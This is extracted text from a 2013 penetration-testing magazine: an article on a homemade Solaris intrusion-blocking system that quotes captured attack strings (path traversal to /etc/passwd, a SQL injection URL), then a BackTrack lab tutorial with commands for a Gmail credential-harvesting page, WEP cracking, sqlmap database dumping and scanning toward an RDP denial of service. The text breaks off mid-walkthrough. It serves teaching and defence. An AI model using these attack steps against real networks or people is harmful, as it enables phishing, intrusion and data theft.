ing which time the hacker had thrown over twenty suitable candidates. This turned out to be a huge
thousand vectors at us, at which point, I manually disappointment.
added a firewall rule to block his IP address. We noticed from the first day, that the vast ma-
The hacker continued to bang his head against jority of intrusion detection systems were really no
the firewall till around lunch time, on every port more than fancy java, shell and perl scripts, with
from 1024 to 32767, and then gave up. The only a response time similar to that of a whale trying to
positive outcome of this was that, during the at- turn itself around.
tack, all of the other hackers were blocked by the Disillusioned with the (not so) cheap end of the
limited remaining bandwidth. market, we decided that something used by banks
It was obvious that something positive had to be had to be of the right quality, so we took a look at the
done to stop this nonsense. professional, so-called enterprise level products.

Figure 1. Before deployment of IDS

TBO 03/2013 Page 19 http://pentestmag.com


While researching this kind of product online, at another, which claimed to be content-aware.
the whole thing got off to an unpromising start, This was more promising, since it was possible to
when I read the comments of a security consul- pre-program the thing with a selection from a set
tant to a bank, describing the product they used. of internally stored, popular hack strings, and have
During his speech, he declared proudly, that they it do the usual light flashing and frantic beeping
would be aware of an intrusion within forty-eight when it discovered something interesting.
hours of its happening. Although it ran on Linux, and a source code li-
Forty-eight hours? To us, forty-eight seconds cence was available (at an additional cost), so that
would be too long, never mind forty-eight hours. we could recompile it to run on Solaris, it, too, re-
Predictably enough, the search of the high end lied on the system administrator to do something
of the market showed that shell scripts could be about the hacker. Furthermore, there was no pro-
available at high prices, too. vision for adding new hack strings to the list hard-
Worse, most of this stuff only ran on Windows, coded inside it.
and were a Sun Solaris shop. Who, in his right Further questioning revealed that the thing ran
mind, would run a website on Windows? like a packet sniffer, and reassembled each pack-
During the demo of one of these products, the ets payload to figure out the query string. This
salesman explained that his system took its data procedure resulted in many false positives, and
via a network connection to the actual web server false negatives, and made its response time less
machine, and it had this absolutely mind-blowing than breathtaking.
graphical display of how your website was being The only product which, apparently, did what we
hacked, minute by minute. This was impressive, wanted was a proxy. Filled with new enthusiasm,
and a lot easier than watching lines of text scroll- we took a cautious look at a few proxy offerings,
ing up the screen. only to be further disappointed.
We asked how it worked, and were told that it Although a proxy really could do content-based
counted the number of queries received in a given filtering, accessing our web pages through it
period and, if that exceeded a given value (which proved to be virtually impossible. Also, the degree
we could preset, of course) it flashed a lot of lights of remote control available was strictly limited, to
on the panel, and sounded an important alarm bell. the point of being unusable.
Yes, but how did it differentiate between a legiti- So, there it was. The market was willing to sell
mate connection, which just happened to be from a us a few Linux offerings, a huge number of Win-
particularly fast machine, and a hack script? Well, dows ornaments, but nothing that would examine
it didnt, but the final decision would be up to its op- the content of what was trying to get into our web-
erator. Did that mean that it didnt automatically cut site, and automatically drop the connection, if it
off the incoming connection? Thats correct. The saw something it didnt like.
system administrator would have to do that.
The salesman explained, rather frostily, that what The solution
we wanted was an intrusion protection system, not During the time we were talking to the representa-
an intrusion detection system. tives of the various intrusion detection companies,
Since his product was totally unaware of the con- I was thinking about the various issues which sur-
tent of each query, we rejected it, and took a look rounded this problem.

Figure 2. After deployment of IDS

TBO 03/2013 Page 20 http://pentestmag.com


Firstly, we absolutely needed to know the con- ever, the hexadecimal values werent ASCII.
tent of each query. However, there was no way This was a puzzle, which took a lot of research,
that we would accomplish this reliably, by tracking until I recognized one of the hexadecimal values
text strings across several hundred packets, and as being the Intel processor opcode for CALL
then reassembling the original query. The packet subroutine. Hackers call these things shell-
stream contained too much information, some of codes, and the intent is to execute a buffer over-
which was irrelevant, and identifying the query with flow, so they can place Intel machine code in the
any degree of certainty was too difficult. systems RAM, take over the CPUs program
What we needed was a pre-assembled query, counter, index it to point to their own code, and
which was guaranteed to be a query. execute anything they like on your machine. For
I was sitting in front of the apache access log any machine running on an Intel CPU, this would
monitor, in the middle of a botnet attack, watching be the kiss of death.
it scroll enthusiastically up the screen, when it oc- With so many \x characters, this hack was easy
curred to me, that what happened at packet level to identify, so we added it to the list.
was totally irrelevant. Bad things would only hap- Then, there was the embedded question mark,
pen at the time when apache had the whole query usually followed by what looked like a script of
in its buffer, and was about to act on it. Therefore, some kind. and the embedded exclamation mark,
if we read the access log as it was being created, usually in the middle of a lot of different hexadeci-
we would only be one line behind apache. mal stuff, which was obviously up to no good.
The hack queries themselves didnt bother us, There were also the SQL injection hack attempts.
since they attempted to exploit vulnerabilities in I guess the most original, was one which attempted
software we didnt use, so allowing one to slip to overflow the CAPTCHA buffer (which we didnt
through would be of no consequence. use) with a script like this:
So, the only criterion was to identify the first in a
series of malicious queries from a given address, captcha/img.php?code=1%20AND%201=0%20UNION%20
and do something before the hacker could send a SELECT%20SUBSTRING(CONCAT(logi
second query. n,0x3a,password),1,7)%20FROM%20
Now the question arose, as to what constituted a User%20WHERE%20User_id=
malicious hack?
We decided against wasting computing time
So, what is a hack vector? on these, since our other criteria, such as the
We filtered our access log, and removed all que- string .php and the percent signs, would easi-
ries which accessed our legitimate web pages and ly identify it.
CGI executables. What remained, according to Finally, there were quite a few hacks containing
Sherlock Holmes, had to be the truth. an embedded series of plus signs, usually accom-
A lengthy and detailed examination of the logs panied by a string of hexadecimal, or plain text
showed a rich selection of attempted hacks. like Result:+no+post+sending+forms+are+found.
One that was extremely prolific, was a GET fol- Just for the sake of complete coverage, we added
lowed by a series of ../../.. of varying lengths, ter- a line of code to reject these.
minating in some significant filename, like /etc/ Collating all of the information revealed some-
passwd. This would have to be the first on our list, thing even more interesting. It became obvious
since so many hackers, with no lnowledge of Unix, that approximately ninety percent of all hack at-
thought it had some chance of succeeding. tempts of all kinds were aimed at dozens of differ-
Next, we noticed blocks of up to a thousand ent PHP files.
hexadecimal characters, each preceded by a per- The attacks varied from simple GET queries
cent sign. Decoding these, revealed that they were and POST queries, to a pattern, where an initial
either IP addresses, or filenames, which some in- query would attempt to GET a file like index.php
competent hacker assumed would slip past the ca- (presumably, to establish its existence) and be fol-
sual observer. This hacks secondary function was lowed by a second query, which would try to POST
an attempted buffer overflow, caused by its sheer to the same file, and overwrite it with a back door.
length. A definite second choice for blocking. Then, a third query would try another GET.
Almost identical in purpose, was a similar hack, In the light of these observations, we decided
but with the percent sign replaced with \x. How- that another primary candidate for blocking would

TBO 03/2013 Page 21 http://pentestmag.com


be any query containing the string .php. Unfortunately, firewalls are very security-con-
scious animals, and the only way to remotely pro-
Command and Control gram them, is to login to them first. The procedure
What happens once the malware is installed on for doing this was either through a gee-whiz graph-
your computer? ical user interface, or via a telnet or SSH TCP con-
Since Unix, unlike Windows, doesnt permit self- nection. The GUI was obviously unacceptable, so
executing executables, the hacker needs to ac- we wrote piece of code which established a telnet
cess his malware after it has been installed. connection to the firewall and sent it a new rule.
How is he going to do so? Any self-respective Ten seconds later, it was back on line.
server will have all ports closed except port 80, Most firewalls contain a minimal Linux comput-
and believe itself to be totally impregnable. Un- er, and every time a new rule is added, this com-
fortunately, this is not the case, since it is through puter is rebooted. Even though ten seconds is a
port 80 that the C&C will wake up and direct very short time for a reboot, it was just too long
the malware. for our purposes.
Almost all security devices concentrate on mon- Apart from the huge delay to add another rule,
itoring and defending TCP traffic through port during that ten seconds, the machine would be sit-
80. The C&C, on the other hand, talks to the ting there with open arms, welcoming all hackers
malware using the UDP protocol, also through to do their worst, since the firewall was resetting
port 80, and is invisible to apache, and to many itself, and totally inoperative. Further, that ten sec-
security systems. onds would allow several hundred new hack at-
Its perfectly reasonable to block UDP traffic, with tempts to queue up for processing, resulting in a
few resulting issues. However, just to complicate never-ending shuffle between our content analyz-
matters, there are other services, which run on er and the firewall.
UDP. DNS queries and replies, the Unix XDMCP Firewalls were abandoned, and we turned our at-
login, and time server data are just a few exam- tention to the Unix operating system.
ples. Any firewall rule which blocks UDP traffic, has Solaris has am extremely powerful utility, called
to exclude these. ipf, which is a version of the ipfilter module,
which dates back to SunOS 4.1.3, in the good old
Dropping the connection BSD days.
When we reached this point in the investigation, I It has all of the facilities available in stand-alone
could almost write the code for the content analyz- firewalls, such as NAT, but the filtering is actually
er in my head, and it was beginning to look more performed in the Unix kernel, making it extremely
and more possible that we could write our own in- efficient. It gets its rule set from a file, which is a mi-
trusion detection system. Then, I thought about the nor drawback, but I decided to try it, anyway.
tricky part: dropping the connection. I wrote another piece of code, which appended a
The first thing to come to mind was a utility called new firewall rule to the file, then told ipf to re-read
tcpkill, which will very nicely drop an established the file and restart. We ran a few tests, and found
TCP connection. However, a moments reflection that the time delay was almost immeasurable.
showed that this would be inadequate. The aver- This is actually not that surprising. Since the fil-
age hack script re-sent the same line anything up tering is done in the kernel, there is no actual ipf
to four hundred times and, if we invoked tcpkill ev- process. When a user issues a command to re-
ery time, not only would the network traffic be no read the configuration file, the kernel activates
lighter, but the CPU would chase its tail trying to a read system call, which is internal to itself, so
keep up with the repeated hack attempts as well, there isnt even a separate process to re-spawn.
especially when handling an attack from a few The only delay, is the time taken to execute the
dozen servers simultaneously. disk I/O which is always a high priority task, since
The next thought was that we would use the firewall. the kernel knows it takes a long time.
Since we expected that our IDS would be a We decided against including any facility to
stand-alone process, it would be necessary to count the number of queries in a given time inter-
use a firewall which was remotely programmable. val. If the purpose was to identify a DDOS, then
Almost every supplier that we contacted claimed the hardware firewall could adequately cope with
to have such a device, so things were looking it. Also, this would mean repeatedly stopping oth-
very promising. er processing for the duration of that time inter-

TBO 03/2013 Page 22 http://pentestmag.com


val. This could add an order of magnitude to the Conclusion
response time. After a short period of debugging, the IDS was
commissioned, and we monitored its progress
The complete system over the first week, or so.
We now had all of the building blocks for a com- The performance was even better than we expect-
plete intrusion detection or, more accurately, in- ed, and there were no false negatives. Anything that
trusion protection system. was supposed to be stopped, was stopped dead,
On startup, the IDS would read the ipf configura- after apache received just one illegal query.
tion file, and store all of the rules in an array of data However, there were a number of false positives.
structures. This would put the IDS in sync with the We examined the logs, and found that some que-
firewall, which was necessary, so that we didnt try ry strings, especially those which were links from
to add a rule for an IP address which was already some online magazines, and some social media
being blocked. sites contained elements containing the string
Next, we called a function which opened the .php. This was enough to trip the content analyz-
apache access log, and performed a seek to the er, and have the IP address blocked.
last line in the file. Having done that, it entered There were so few of these false positives, that
an endless loop, and waited for another line to be we were willing to write this off as acceptable col-
added to the file. lateral damage, when compared with the enor-
The loop contained the code of the content anal- mous benefit of limiting each hacker to one hack
yser, and had no time delays or pauses built in, so attempt per lifetime. With the possible exception
it would execute as fast as the CPU could execute of LinkedIn, the social media sites were unlikely
machine code. This is usually extremely bad prac- to bring us any significant business, but some of
tice, since it uses 100% of the CPUs processing the online magazines were important. Accordingly,
power. In our case, it didnt matter, since our ma- we added a few lines of code into the loop, which
chine had 32 CPUs, and devoting one of them to would cause it to ignore any positives containing
the IDS was a good investment. the names of chosen sites.
As soon as apache logged another query, the So far, the IDS has been running continuously for
content analyzer would scan it to see if it contained over two years, with no modifications, apart from
any of the hack signatures which we had built into the periodic addition of new rules, as new hacks
it. If a hack attempt was identified, a firewall rule are discovered.
would be automatically created, to make compari- If this were a commercial product, we would
son with the stored firewall rules easier, then an- probably have it read a configuration file on start-
other function would be called, to see if that IP ad- up, instead of having the hacks and exceptions
dress was already being blocked. hard-coded. However, since it isnt, we dont mind
If this turned out to be a new hack attempt, the recompiling it each time theres an update. It keeps
ipf configuration file would be opened, the new rule it more secure.
appended, and ipf re-invoked so it could re-read
the file. Having performed the most important op-
erations, the IDS would then add the new rule to
its internal store.
There is a great temptation, when designing a
system like this, to use multi-threading, or parallel
processing. Although this would have considerably
speeded up part of the processing cycle, the dan-
gers of collision, between threads or processes, in
areas such as file reading or writing was too great. Mark Sitkowski
Semaphores and mutexes are traditionally used to Design Simulation Systems Ltd
obviate such problems but, in general, if you need http://www.designsim.com.au
to use a mutex, youre either doing it wrong, or you Consultant to Forticom Security
shouldnt be multi-threading. http://www.forticom.com.au

TBO 03/2013 Page 23 http://pentestmag.com


Pentesting with
BackTrack
Penetration testing, also known as Pentest, is a technique to
evaluate the security of computers and networks by performing
imitating attacks from external and internal threats. The pentesting
process involves statical and dynamical analysis of a system/
network in order to reveal potential security issues resulting from
improper configurations, hardware/software flaws. These attacks
should be executed from the point of view of potential attackers.

D
uring this process, if security issues have BackTrack comes from the merge of two other dis-
brought to the foreground, pentesters tries tributions named WHAX and Auditor Security Col-
to exploit them. Successful penetration re- lection which already was focused on penetration
sults are presented to systems owners with recom- testing. The latest release of BackTrack was pub-
mendation to plug that loophole and all the opera- lished in August 2012 and is named BackTrack 5
tions to conduct to reproduce the attack. R3. Here's a non-exhaustive list of backtrack tools
categories:
Warning
Please consider that all materials of this Pentest Information gathering;
magazine apparition are intended for educational Vulnerability assessment;
purposes only. You must not use the skills and in- Exploitation tools;
formation obtain from this reading to attack in any Privilege escalation;
way a system for which you dont have specific Maintaining access;
authorization or ownership. Reproducing experi- Reverse Engineering;
ments that are present in this article on non-au- RFID tools;
thorized systems is illegal in most of the world and Stress testing;
you will ultimately backstop the consequencesin- Forensics;
cluding very high fine and jail. Reporting tools;
Services;
Quick overview of BackTrack Miscellaneous.
In the testing/penetration community, a leader
emerges: BackTrack. Since its first release on the Installation and Configuration
5th of February 2005 by Mati Aharoni, Devon Ke- In order to follow our step-by-step tutorials and
arns and Offensive Security; BackTrack has be- hands-on recipes, you must have an access to three
come a large, stable, and well known distribution different virtual machines: one with BackTrack, one
for penetration testing. BackTrack is a Debian with Windows 7 and later with Windows XP.
GNU/Linux based distribution built for specific pur- We consider that you have a brand new installa-
poses: digital forensics and penetration testing. tion of BackTrack. If not, you can download the lat-

TBO 03/2013 Page 24 http://pentestmag.com


est version following this link http://www.backtrack- chine (and the Internet). Repeat this step for
linux.org/downloads/. In order to be comfortable, BackTrack (see Figure 2). Now, its time to check
youll need to create a partition of, at least,16 GB. if the two machines can see each other: launch a
After the end of the installation, BackTrack will terminal on the two VM and exec the command
reboot and youll be able to log as root user (bt log- ipconfig on Windows and ifconfig on BackTrack.
in: root/Password: toor). A prompt will appear and Note: you must probably restart the networking
in order to launch the GUI, type startx. daemon, otherwise the new configuration wont
If you want to try this experiment by yourself, take place:
youll need to purchase Windows 7.
Here is an advice: use a hypervisor like Vir- /etc/init.d/networking restart
tualBox because its easier to install an OS and
it avoids you to create a native partition on your
computer; you will gain some precious time!
In my case, I run the two OS on the same laptop
using Oracle VirtualBox (see Figure 1).
After the installation, we must set up the net-
work parameters because they must commu-
nicate together through the network. For Win-
dows, just click on the two little screens on the
container of the operating system (on the bot-
tom right corner). Then click on 'Network Adapt-
ers' and set up the adapter in 'Bridge Adapter'
rather than 'NAT'. In my case, the name of the
bridge adapter is 'en0: Ethernet' because I use
this device to be able to contact the other ma- Figure 3. Ping command in BT terminal

Figure 1. Windows 7 and BackTrack 5r3 side by side

Figure 2. Network configuration of Windows 7 and BackTrack 5

TBO 03/2013 Page 25 http://pentestmag.com


You will see the IP address of each VM. Then ex-
ecute a ping command on BackTrack using the
IP address of the Windows VM (see Figure 3).
In my case, the IP address of my Windows is
192.168.1.119 but it will be different for you:

ping 192.168.1.119

Figure 4. Social Engineering tool A ping is a special network packet called ICMP
request that sends an echo packet and wait for an
echo reply.

Social Engineering Toolkit


In this part we want to show how to use the So-
cial Engineering Toolkit. First, to resume what are
social engineering attacks. It is the art of manipu-
lating people into performing actions or divulging
confidential information.
The Social Engineering Toolkit (SET) has ap-
peared in BackTrack 4 and it was written by Da-
vid Kennedy. SET is an open-source Python tool
aimed at penetration testing around Social-Engi-
neering. You can find more information about SET
on the home page http://www.secmaniac.com.

Exploit
In this case we use SET to create a fake website to
harvest credentials.

Run Social Engineering Toolkit using the Back-


Track menu (see Figure 4).
Figure 5. Website Attack vector Make sure that Metasploit and SET are up to
date using options 4 and 5 in
the SET terminal menu.
Select number 1 'Social
Engineering Attacks'.
Select Website Attack
Vectors (see Figure 5).
In the first part we use
Credential Harvester Attack
Method (option 3).
At this moment SET of-
fers three options. Use a pre-
defined template as Face-
book, Gmail, etc. Clone an ex-
isting site or import a custom
HTML file. We use the first op-
tion to make the tutorial easier
to follow.
Now, we have the choice
to specify a local IP address
or external IP address. In this
Figure 6. Know your IP address tutorial we use a local address

TBO 03/2013 Page 26 http://pentestmag.com


(to know your IP address, use ifconfig com- To test the security of your wireless network, we
mand in terminal menu; see Figure 6). need the aircrack-ng package (formerly aircrack).
Select Gmail in the next menu and press Enter. This package exists for Windows and Linux and
Now open Firefox at localhost:80 (see Figure 7). you can find it at http://www.aircrack-ng.org/. Back-
When you use the form to authenticate the us- Track is more specialized in security, and the pack-
er on Gmail, you can see all information about age is included with all drivers for wifi-cards.
the user in the SET terminal (see Figure 8). Aircrack is software to crack WEP 802.11. He us-
The process generated two reports html and es the attack named Fluhrer-Mantin-Shamir (FMS)
xml files in /pentest/exploits/set/reports/ and other attacks created by Korek. When enough
(see Figure 9). packets are captured, Aircrack could instantly find
the wireless key.
How to protect against social engineering? The aircrack package contains several programs
This type of attack is generally used by a hacker and the three main areas:
in the email. To prevent social engineering attacks,
its really important to teach people about phish- Airodump-ng: software that makes packet cap-
ing, using https, unmasking spam, and verifying ture, scans the networks, and keeps the pack-
the identity of the speaker. ets that we use to decrypt the key.
Aireplay-ng: the main function about this soft-
2 Wireless and Bluetooth ware is sending packets to stimulate the net-
Wireless WEP 802.11 Security work and capture more packets.
Aircrack-ng: is used for cracking the key-pass, it
uses packets capture through air-pump.

For confidentiality the names of all networks about


ESSID (Extended Service Set Identifier) were hid-
den. Also the Mac address BSSID (Basic Service
Set Identifier) has been partially censored.

Start by checking if your wireless card is al-


lowed to inject packets: http://www.aircrack-ng.
org/doku.php?id=compatible_cards
Figure 7. Gmail at localhost:80

Figure 9. Reports

Figure 8. Information about the user Figure 10. Airmon-ng

TBO 03/2013 Page 27 http://pentestmag.com


Open the terminal and use the command 'air- Airodump-ng -c (channel) -w (filename) --bssid
mon-ng to list the cards available (see Figure 10). (BSSID) (interface)
The MAC address is the ID of your wireless
card. When a hacker attacks a wireless he Where:
usually changes it, to hide his identity. First, we Channel corresponds to the target channel;
disable the wireless card, and then we change Filename is the name of your trace file;
our MAC address with macchanger command BSSID corresponds to the target BSSID;
(see Figure 11). Normally, you work on your Interface is your interface.
network and this step is not really important but This step is not essential, it tests if the access
its important to understand the technique. point has a MAC address filter, but the protocol
Now we use airodump-ng wlan0 to scan the is not reliable and if you have an error mes-
networks. Airodump scans the entire channel sage or timeout, dont panic. Open a new tab in
and show all AP (Access Point) available (see the terminal console and enter this command
Figure 12). (see Figure 14):
The PWR column correspond to signal pow-
er, if airodump has a problem to define it if dis- aireplay-ng -1 0 -a (BSSID) -h 00:11:33:44:55 -e
plays -1. The Beacon column corresponds to (ESSID) (interface)
a frame transmitted periodically to announce
the presence of a Wireless LAN. It is not im- Where:
portant to crack a WEP key. The column CH BSSID corresponds to the target BSSID;
indicates the channel of the AP. ESSID corresponds to the target ESSID;
The column #Data is the key to cracking the Interface is your interface.
Wireless security with WEP. The principle of Now we want to inject traffic to increase da-
using Aircrack to crack the WEP key is catch- ta on the network and facilitate WEP crack-
ing initialization vector (IV). IVs can be found ing. We must have 100 000 IVs to cracking the
during the exchange of data. The conclusion is WEP key, and the best attack to generate IVs
simply more data = more IVs exchange = more is the 're-injection ARP attacks' specified with
simple to crack a WEP key. the number 3. Hit the following command to
Use CTRL+C to stop scanning. force some traffic (see Figure 15):
For the best performance and to scan only the
target network, use the next command to filter aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55
its BSSID (see Figure 13): wlan0

Figure 14. Aireplay command

Figure 11. Change your mac address


Figure 15. Aireplay

Figure 12. Airodump

Figure 13. Airodump Figure 16. Key found

TBO 03/2013 Page 28 http://pentestmag.com


Where: Now we want to scan and fingerprint a Blue-
BSSID corresponds to the target BSSID; tooth device. Fingerprinting is a term we use
After this command normally the number of for profiling a device, and to do this BackTrack
#Data in your first command line is increasing has a collection of tools called Bluez. Bluez is
step by step. a standard Bluetooth package for Linux. In this
Finally, to crack the wireless key network we part we use hcitool to scan devices that are
open a new terminal and we use this command broadcasting. We scan using hcitool with the
to start aircrack-ng: following command (see Figure 18):

aircrack-ng -b (BSSID) (filename-01.cap)

Where:
BSSID corresponds to the target BSSID,
filename-01.cap is the name specified during
step 6, followed with -01.cap; corresponds
to the first tracefile.
Aircrack continue to update the IVs number
captured by airodump and generated by air-
play.
After a few minutes, WEP key should appear
by itself if the crack works (see Figure 16).
Figure 17. hciconfig -a
The network has changed the key, but you should
know because you are the AP owner.
The captured file is corrupted.

How to protect against Wi-Fi penetration?


To prevent this kind of attack you can change your Figure 18. hcitool scan
wireless key encryption to WPA2 encryption. If this
does not cause accessibility problems, use com-
plex password (numeral, letter, uppercase letter,
symbol) to increase cracking complexity.

Bluetooth security
There are various hacks and a lot of software al-
ready available on the different website which help
hackers to hack any cell phone and multimedia
phones with Bluetooth. But actually a lot of man-
ufacturers have close security vulnerabilities. In
this article, we have outlined only some Bluetooth
hacking software and presented how to set them.

The first time we set up our Bluetooth equip-


ment, we open a terminal and take this com-
mand:

hciconfig hci0 up

Where:
hci0 corresponds to your Bluetooth interface.
Now you should have your adapter up and
working. To verify that all is 'OK' hit this com-
mand: hciconfig -a (Figure 17). Figure 19. sdptool

TBO 03/2013 Page 29 http://pentestmag.com


Now, we search our HCI daemon configuration
Listing 1. HCI daemon configuration file file (generally in /etc/bluetooth/hcid.conf)
and replace all the lines from Listing 1.
autoinit yes; We restart our Bluetooth device with bash /
passkey "1234"; etc/rc.d/rc.bluetooth restart
security auto; We can now set up our devices. First one is
name "bt1"; RFCOMM0 and is on channel 3 DUN Dial up,
iscan enable; pscan enable; second is RFCOMM1 and is on channel 6 FTP,
lm accept,master; and the third is RFCOMM2 and is on channel 7
lp rswitch,hold,sniff,park; OBEX push.
auth enable;
encrypt enable; mknod -m 666 /dev/rfcomm0 c 216 3
mknod -m 666 /dev/rfcomm1 c 216 6
mknod -m 666 /dev/rfcomm2 c 216 7

Its time to connect it with sdptool (see Figure 20).

sdptool add --channel=3 DUN


sdptool add --channel=7 OPUSH
sdptool add --channel=6 FTP

At this time, we have scanned Bluetooth broad-


casting, identified what is the channel/services,
Figure 20. sdptool
and configured our network card. Normally you
hcitool scan are ready to attack your mobile. In this article, as
we have previously said, we do not present at-
Stop scanning when it shows your device and tacks because our device is not vulnerable. But
note its MAC address. Now, we use sdptool to if you would like to know more about it, you can
browse our device for open channels and tell search Bluebugger and Bluesnarfer attacks.
us what services are available on which chan-
nels (see Figure 19). Prevent Website Attacks
Scanning Joomla CMS with Joomscan
sdptool browse Mac_address Joomla is a free and open source content man-
agement system (CMS) for publishing content on
Where: the World Wide Web and intranets. The principle is
Mac _ address is your mobile MAC address. simple: you can download the archive on the offi-

Figure 21. CMS Vulnerability

TBO 03/2013 Page 30 http://pentestmag.com


cial Joomla website http://www.joomla.org/ and af- SQL injection with sqlmap
ter the installation, you have set up your website SQL injection is a code injection technique that ex-
and can start publishing content (follow the doc- ploits security vulnerability in an applications soft-
umentation to know how to install Joomla http:// ware. SQL injection is mostly known as an attack
docs.joomla.org/). vector for a website but can be used to attack any
To show how important it is to stay up-to-date type of SQL database.
CMS, we voluntarily use an old version of Joomla If you would like to know more about SQL inject-
(download Joomla_1.5.26). In this case, we have ing, read this great website: http://www.unixwiz.
hosted an Apache server and mysql using Lamp net/techtips/sql-injection.html.
http://en.wikipedia.org/wiki/LAMP_(software_bun-
dle). Joomla is available on our local network at
192.168.1.3/joomscan/. On the other side we use
the last version of BackTrack 5R3 to scan vulner-
abilities of Joomla 1.5.26.

Start BackTrack
Open the jomscan tools (you will find them in
BackTrack menu; see Figure 21).
To run the joomscan script use this command
(see Figure 22):

./joomscan.pl u (String)

Where:
STRING corresponds to our Joomla URL web-
site. In this example the website is placed at
192.168.1.3/joomscan/
After few seconds, we can see apache and
Joomla version analyzed by joomscan and all
included website modules. As we can see, the
mentioned version is not the same, here the
range 1.5.12-1.5.14.
We can explain fail by the techniques used Figure 22. Running Joomscan
by joomscan to analyze the version. Indeed,
joomscan analyzed the header in the .ini file in-
cluded in Joomla and sometimes is not up-to-
date. However, the analysis can help you un-
derstand security in the CMS world.
After a few minutes, Joomscan has analyzed all
vulnerabilities on your website and thought us if
our version has been concerned (see Figure 23).
Now we can follow the 'Exploit' instruction to
throw an exploit on our Joomla website.
If you would like to prevent attacks on your
Joomla website, you can hit this command: ./
Joomscan. pl defense and follow the instructions
to make your CMS more secure.

How to protect against Joomla


vulnerabilities?
The best technique to prevent attacks on CMS is
to keep your version up-to-date and regularly use
joomscan when you install a new module. Figure 23. Vulnerability on Joomla

TBO 03/2013 Page 31 http://pentestmag.com


SQLMAP is an automatic SQL injection and da- name=ben is the first GET argument used in
tabase takeover tool and it included in the last ver- mysql query and corresponds to the user name;
sion of BackTrack. In this section we analyze a vul- Password = is the second GET argument
nerable PHP script; we use SQLMAP and extract used in mysql query.
database information. Now, we start sqlmap in the BackTrack menu
(see Figure 25).
Download the sample website http://www.ma- Then we run the command pictured in Figure 26.
thieu-nayrolles.com/pentestmag/victim/sam- After a few minutes, sqlmap shows vulnerabil-
ple-site.zip (index.php and db.sql); it is vulnera- ity in the parameter name and display all data-
ble to SQL injection. bases (see Figures 27, 28).
To install the sample we simply put index.php Now we can execute the SQL injection. To per-
in our localhost directory 192.168.1.3/phpmy- form this exploit, execute the following com-
admin and we create a new database named mand (see Figure 29):
sql _ injection. Then, we import the db.sql file
to the database. Python ./Sqlmap. py -u 192.168.1.3/test sql/
When everything is ok, we open a browser and index.php?name=ben -D sql_injection -T user --columns
verify if the site is up (see Figure 24).
Where:
http://192.168.1.3/testsql/?&name=ben&password=azerty5 -D sql _ injection corresponds to the data-
base named sql_injection created in step 2;
Where: -T user is used to select the table user in the
192.168.1.3 corresponds to apache server sql_injection database;
IP address; --Columns is the argument used to take col-
/testsql corresponds to the path where we umns off the table.
put the website: index.php; Sqlmap reveal 3 columns: id, name and pass-
word (see Figure 30). Now, we execute a query
to get the password simply with a username
(see Figure 31, 32).

How to protect against SQL Injection?


The best technique to prevent SQL injection is to
protect your mysql query with mysql_real_escape_
string() http://php.net/manual/en/function.mysql-
real-escape-string.php or to use PDO library http://
ca1.php.net/manual/en/class.pdo.php.

Figure 26. Run SQLMAP


Figure 24. SQL Injection

Figure 27. SQL vulnerabilities

Figure 25. SQLMAP Figure 28. SQL vulnerabilities

TBO 03/2013 Page 32 http://pentestmag.com


Figure 29. SQLMAP command sample

After that, you need to create a user for Nes-


sus: /opt/nessus/sbin/nessus-adduser;
Choose a login and password, and say yes
when Nessus asks you if you want to create an
'admin' user (see Figure 33);
Finally, you need to start the Nessus daemon
entering /etc/init.d/nessusd start;
Nessus gives you the opportunity to use a
GUI on a web browser. Run Firefox and go
Figure 30. SQL Map results
to https://localhost:8834/. The connection re-
Vulnerabilities exploit on Win7 quires https because all the communication is
In this case study, we will learn how to penetrate encrypted using SSL/TLS.
Microsoft Windows 7. Nowadays, companies are
still struggling to recognize the overwhelming ben- Now everything is set up to have some pentest
efits of the latest release of Microsoft. Indeed, pro- fun on Windows 7.
ceeding to a worldwide migration led to incommen-
surable direct investments, licenses, and long-term Exploit 1: DOS on Windows 7
commitment formation. Considering these well- For this first exploit, we want to create a denial of
known facts, we will base our experiments on Win- service on a remote host. A DOS happens when a
dows 7 instead of Windows 8. malicious intruder wants to stop a specific process
In order to perform this case study, we will use (or all process) on a remote computer or server.
the Metasploit framework. Metasploit is the perfect This type of attack can target email services or
toolkit for pentesting. websites, and are performed by using flooding or
What will you learn: a flaw in a program or service. In our case, we will
crash the remote computer by exploiting a flaw in
How to use Nessus and Metasploit; the Remote Desktop Protocol. RDP is very useful
Exploit DOS on Windows 7;
How to create a Trojan for Windows 7.

Now, we will focus on Nessus. It is a vulnerabili-


ty scanner that allows you to scan a network and
discover some flaws in the operating system ser- Figure 32. SQLMAP Dump results
vices misconfiguration. Even if there are some
packages provided by BackTrack, you need to
download the latest version of Nessus:

In the terminal, write apt-get install Nessus;


Then, you must activate your Nessus version
following this link: http://www.tenable.com/
products/nessus/nessus-homefeed;
You will receive your key by email. Copy this
key and write the command below: /opt/
nessus/bin/nessus-fetch --register xxxx-
xxxx-xxxx-xxxx-xxxx where xxxx represents
the key. If everything is ok, youll see this mes-
sage: 'Your activation code has been regis-
tered properly thank you'; Figure 33. Run nessus as Admin

Figure 31. SQLMAP dump command

TBO 03/2013 Page 33 http://pentestmag.com


to take control of a user session remotely. For in- There are some hosts connected to the network,
stance, an administrator can help a user to solve but no Windows 7. However, there are a few un-
a problem or you can help your mother set up her known hosts. So we can gather more information
new printer. By default, RDP uses the port 3389. about them by writing nmap -O ip_address where ip_
Since we have a fresh Windows 7 installation, the address represents the IP of the target to scan. Lets
first thing to do is to activate this service. This is try with nmap -O 192.168.1.119 (see Figure 35).
very easy: click the start button, right click on Com- The result indicates that a Windows 7 is online
puter, Properties. On the left panel, click Remote on the network! Moreover, nmap has detected
Settings and then click the radio button 'Allow con- some open ports.
nections from computers running any versions of Its important to know if there is a possible way to
Remote Desktop'. This exploit doesnt work for hack our Windows. Here comes Nessus.
the third item, because it uses NLA authentication Once you are logged, we will create a new scan
mode that is more secure than the second one. (under the Scans tab and clicking add button).
Before we start, lets take a look at our roadmap. We name our Scan Win7 Scan, and we set the
First, we will perform a kind of pre attack by scan- policy to Internal Network Scan. Under the Scan
ning our entire network and see what hosts are con- targets box, you can choose a range of IP ad-
nected. Then, we will choose a target, find some dresses (for example 192.168.0.0/24) but we want
flaw using Nessus, and then we will be able to per- to target a specific host, so we need to use the one
form the crash of the system using the Metasploit provided by nmap: 192.168.1.119 (see Figure 36).
framework. Nmap is a tool designed to scan a range Launch the scan. After a while, you will see the
of addresses or a specific target. We want to discov- results (see Figure 37).
er if there are any Windows in our network. According to the scan, there are two potential
In order to discover the entire host on this network, high threats for our Windows. Lets go deeper. By
type nmap -sP 192.168.1.0-255 (see Figure 34). clicking the first result (SVC Name msrdp on port
